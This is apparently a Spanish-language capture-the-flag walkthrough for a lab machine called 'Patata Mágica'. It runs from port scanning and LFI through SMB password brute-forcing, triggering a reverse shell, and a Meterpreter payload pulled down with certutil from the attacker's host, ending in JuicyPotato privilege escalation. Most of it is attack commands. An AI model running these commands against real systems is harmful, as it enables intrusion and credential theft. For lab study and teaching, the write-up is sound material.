Resolución del CTF – Patata Mágica
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.101- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
Enumeración web
Identificamos un servicio web en el puerto 80 con funcionalidad de lectura de archivos mediante parámetro GET.
curl 'http://192.168.0.101/juegos.php?file=index.php'En el código fuente obtenemos credenciales válidas para autenticación SMB.
Acceso SMB inicial
Verificamos las credenciales obtenidas contra el servicio SMB.
netexec smb 192.168.0.101 -u patata -p 00000Enumeramos los recursos compartidos accesibles.
smbmap -H 192.168.0.101 -u patata -p 00000Accedemos al recurso Secreto y descargamos su contenido.
smbclient //192.168.0.101/Secreto -U patataEnumeración de usuarios SMB
Enumeramos usuarios del sistema mediante RID brute force.
netexec smb 192.168.0.101 -u patata -p 00000 --rid-bruteIdentificamos el usuario Hacker y realizamos un ataque de fuerza bruta para obtener su contraseña.
netexec smb 192.168.0.101 -u Hacker -p /usr/share/wordlists/rockyou.txt --ignore-pw-decodingAcceso SMB como Hacker
Autenticamos con las nuevas credenciales y enumeramos recursos.
smbmap -H 192.168.0.101 -u hacker -p cliffordAccedemos al recurso Figuras y descargamos los archivos disponibles.
smbclient //192.168.0.101/Figuras -U hackerExplotación LFI y ejecución remota
Enumeramos el servidor web y localizamos un directorio de subida con indicios de LFI.
feroxbuster -u http://192.168.0.101/ -x phpIdentificamos un script de reverse shell accesible y lo ejecutamos indicando nuestra IP y puerto.
nc -lvnp 4444curl 'http://192.168.0.101/uploads/revershell.php?ip=192.168.0.102&port=4444'Escalada de privilegios
Verificamos privilegios del usuario comprometido y confirmamos SeImpersonatePrivilege habilitado.
whoami /allGeneramos un payload Meterpreter y lo transferimos al sistema objetivo.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=5555 -f exe -o evil.exepython3 -m http.server 80certutil -urlcache -split -f http://192.168.0.102/evil.exe evil.exeEjecutamos el binario y utilizamos un módulo Potato para obtener ejecución como administrador.
use exploit/windows/local/juicypotatoset SESSION 1run